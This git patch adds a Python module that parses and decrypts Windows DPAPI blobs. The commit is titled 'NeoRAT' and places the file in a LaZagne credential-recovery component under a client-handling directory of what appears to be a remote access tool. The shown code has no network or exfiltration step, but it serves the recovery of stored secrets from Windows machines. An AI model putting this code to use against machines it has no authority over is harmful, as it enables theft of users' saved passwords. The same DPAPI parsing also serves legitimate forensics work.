From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/DPAPI/blob.py | 139 +++++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/blob.py (limited to 'foreign/client_handling/lazagne/config/DPAPI/blob.py') diff --git a/foreign/client_handling/lazagne/config/DPAPI/blob.py b/foreign/client_handling/lazagne/config/DPAPI/blob.py new file mode 100644 index 0000000..6b76bc4 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/blob.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" +import codecs +import traceback + +from .eater import DataStruct +from . import crypto + +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.crypto.pyDes import CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +class DPAPIBlob(DataStruct): + """Represents a DPAPI blob""" + + def __init__(self, raw=None): + """ + Constructs a DPAPIBlob. If raw is set, automatically calls parse(). + """ + self.version = None + self.provider = None + self.mkguid = None + self.mkversion = None + self.flags = None + self.description = None + self.cipherAlgo = None + self.keyLen = 0 + self.hmac = None + self.strong = None + self.hashAlgo = None + self.hashLen = 0 + self.cipherText = None + self.salt = None + self.blob = None + self.sign = None + self.cleartext = None + self.decrypted = False + self.signComputed = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.version = data.eat("L") + self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + + # For HMAC computation + blobStart = data.ofs + + self.mkversion = data.eat("L") + self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + self.flags = data.eat("L") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.keyLen = data.eat("L") + self.salt = data.eat_length_and_string("L") + self.strong = data.eat_length_and_string("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.hashLen = data.eat("L") + self.hmac = data.eat_length_and_string("L") + self.cipherText = data.eat_length_and_string("L") + + # For HMAC computation + self.blob = data.raw[blobStart:data.ofs] + self.sign = data.eat_length_and_string("L") + + def decrypt(self, masterkey, entropy=None, strongPassword=None): + """Try to decrypt the blob. Returns True/False + :rtype : bool + :param masterkey: decrypted masterkey value + :param entropy: optional entropy for decrypting the blob + :param strongPassword: optional password for decrypting the blob + """ + for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]: + try: + sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword) + key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo) + + if "AES" in self.cipherAlgo.name: + cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)], + iv="\x00" * int(self.cipherAlgo.ivLength)) + self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in + range(0, len(self.cipherText), AES_BLOCK_SIZE)]) + else: + cipher = self.cipherAlgo.module(key, CBC, "\x00" * self.cipherAlgo.ivLength) + self.cleartext = cipher.decrypt(self.cipherText) + + padding = char_to_int(self.cleartext[-1]) + if padding <= self.cipherAlgo.blockSize: + self.cleartext = self.cleartext[:-padding] + + # check against provided HMAC + self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob) + self.decrypted = self.signComputed == self.sign + + if self.decrypted: + return True + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + self.decrypted = False + return self.decrypted + + def decrypt_encrypted_blob(self, mkp, entropy_hex=False): + """ + This function should be called to decrypt a dpapi blob. + It will find the associcated masterkey used to decrypt the blob. + :param mkp: masterkey pool object (MasterKeyPool) + """ + mks = mkp.get_master_keys(self.mkguid) + if not mks: + return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid) + + entropy = None + if entropy_hex: + entropy = codecs.decode(entropy_hex, 'hex') + + for mk in mks: + if mk.decrypted: + self.decrypt(mk.get_key(), entropy=entropy) + if self.decrypted: + return True, self.cleartext + + return False, 'Unable to decrypt master key' -- cgit v1.2.3